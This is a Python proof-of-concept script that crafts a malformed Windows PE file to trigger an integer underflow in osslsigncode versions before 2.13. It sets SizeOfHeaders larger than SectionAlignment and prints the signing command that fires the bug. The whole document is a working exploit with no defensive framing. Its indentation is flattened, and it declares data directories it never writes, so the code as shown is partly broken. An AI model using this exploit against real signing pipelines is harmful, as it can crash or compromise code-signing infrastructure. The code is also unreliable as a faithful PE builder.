import struct
import os
# Proof of Concept: Create a malformed PE file to trigger the integer underflow
# in osslsigncode < 2.13 when using the -ph (page hash) flag.
def create_malformed_pe(filename):
# DOS Header (minimal)
dos_header = b'MZ' + b'\x00' * 0x3c
pe_offset = 0x40
dos_header += struct.pack('<I', pe_offset)
dos_header += b'\x00' * (pe_offset - len(dos_header))
# PE Signature
pe_sig = b'PE\x00\x00'
# File Header
machine = struct.pack('<H', 0x014c) # IMAGE_FILE_MACHINE_I386
num_sections = struct.pack('<H', 1)
timestamp = struct.pack('<I', 0)
sym_table_ptr = struct.pack('<I', 0)
num_symbols = struct.pack('<I', 0)
opt_header_size = struct.pack('<H', 0xE0) # SizeOfOptionalHeader
characteristics = struct.pack('<H', 0x0102)
file_header = pe_sig + machine + num_sections + timestamp + sym_table_ptr + num_symbols + opt_header_size + characteristics
# Optional Header
magic = struct.pack('<H', 0x010b)
linker_ver = struct.pack('<B', 6) + struct.pack('<B', 0)
code_size = struct.pack('<I', 0x200)
init_data_size = struct.pack('<I', 0x200)
uninit_data_size = struct.pack('<I', 0)
entry_point = struct.pack('<I', 0x1000)
code_base = struct.pack('<I', 0x1000)
data_base = struct.pack('<I', 0)
image_base = struct.pack('<I', 0x400000)
# Malformed Configuration:
# SectionAlignment = 0x1000
# SizeOfHeaders = 0x2000 (SizeOfHeaders > SectionAlignment triggers underflow)
section_alignment = struct.pack('<I', 0x1000)
file_alignment = struct.pack('<I', 0x200)
os_ver = struct.pack('<H', 4) + struct.pack('<H', 0)
img_ver = struct.pack('<H', 0) + struct.pack('<H', 0)
subsys_ver = struct.pack('<H', 4) + struct.pack('<H', 0)
win32_ver = struct.pack('<I', 0)
img_size = struct.pack('<I', 0x3000)
header_size = struct.pack('<I', 0x2000) # Malformed: Larger than SectionAlignment
checksum = struct.pack('<I', 0)
subsystem = struct.pack('<H', 2)
dll_flags = struct.pack('<H', 0)
stack_reserve = struct.pack('<I', 0x100000)
stack_commit = struct.pack('<I', 0x1000)
heap_reserve = struct.pack('<I', 0x100000)
heap_commit = struct.pack('<I', 0x1000)
loader_flags = struct.pack('<I', 0)
num_rva = struct.pack('<I', 0x10)
opt_header = magic + linker_ver + code_size + init_data_size + uninit_data_size + \
entry_point + code_base + data_base + image_base + section_alignment + \
file_alignment + os_ver + img_ver + subsys_ver + win32_ver + \
img_size + header_size + checksum + subsystem + dll_flags + \
stack_reserve + stack_commit + heap_reserve + heap_commit + \
loader_flags + num_rva
# Section Header (.text)
name = b'.text\x00\x00\x00'
virt_size = struct.pack('<I', 0x200)
virt_addr = struct.pack('<I', 0x1000)
raw_size = struct.pack('<I', 0x200)
raw_addr = struct.pack('<I', 0x2000) # Must be >= SizeOfHeaders (0x2000)
relocs = struct.pack('<I', 0)
line_nums = struct.pack('<I', 0)
num_relocs = struct.pack('<H', 0)
num_line_nums = struct.pack('<H', 0)
charact = struct.pack('<I', 0x60000020)
section_header = name + virt_size + virt_addr + raw_size + raw_addr + relocs + line_nums + num_relocs + num_line_nums + charact
pe_content = dos_header + file_header + opt_header + section_header
# Pad to SizeOfHeaders (0x2000)
pe_content += b'\x00' * (0x2000 - len(pe_content))
# Pad section data
pe_content += b'\x90' * 0x200
with open(filename, 'wb') as f:
f.write(pe_content)
print(f"Created malformed PE: {filename}")
print(f"Run: osslsigncode sign -ph -certs cert.pem -key key.pem {filename} out.exe")
if __name__ == "__main__":
create_malformed_pe("malicious.exe")